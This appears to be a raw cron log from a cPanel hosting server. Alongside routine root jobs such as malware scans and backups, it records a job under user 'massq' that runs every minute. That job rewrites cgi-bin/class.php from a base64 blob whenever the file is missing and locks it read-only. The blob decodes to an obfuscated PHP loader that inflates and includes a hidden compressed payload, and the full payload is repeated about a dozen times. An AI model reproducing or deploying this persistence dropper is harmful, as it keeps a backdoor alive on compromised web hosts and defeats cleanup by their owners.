Sep  4 20:39:01 server CROND[31497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:39:01 server CROND[31498]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:40:01 server CROND[31899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:40:01 server CROND[31900]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 20:40:01 server CROND[31903]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:40:01 server CROND[31904]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 20:40:01 server CROND[31907]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 20:40:01 server CROND[31905]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:40:01 server CROND[31906]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:40:01 server CROND[31909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:41:01 server CROND[32734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:41:01 server CROND[32735]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:41:01 server CROND[32737]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:42:01 server CROND[782]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:42:01 server CROND[784]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 20:42:01 server CROND[783]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:42:01 server CROND[785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:43:01 server CROND[1243]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:43:01 server CROND[1238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:43:01 server CROND[1244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:44:01 server CROND[1644]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:44:01 server CROND[1645]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:44:01 server CROND[1646]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:45:01 server CROND[2069]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:45:01 server CROND[2071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:45:01 server CROND[2072]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:45:01 server CROND[2073]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 20:45:01 server CROND[2075]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 20:45:01 server CROND[2074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:45:01 server CROND[2078]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:46:01 server CROND[2936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:46:01 server CROND[2938]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:46:01 server CROND[2937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:47:01 server CROND[3376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:47:01 server CROND[3378]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:47:01 server CROND[3377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:48:01 server CROND[3805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:48:01 server CROND[3806]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:48:01 server CROND[3807]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:49:01 server CROND[4187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:49:01 server CROND[4188]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:49:01 server CROND[4189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:50:01 server CROND[4573]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:50:01 server CROND[4575]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 20:50:02 server CROND[4579]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 20:50:02 server CROND[4582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:50:02 server CROND[4581]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:50:02 server CROND[4583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:50:02 server CROND[4578]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 20:50:02 server CROND[4580]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:50:02 server CROND[4577]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
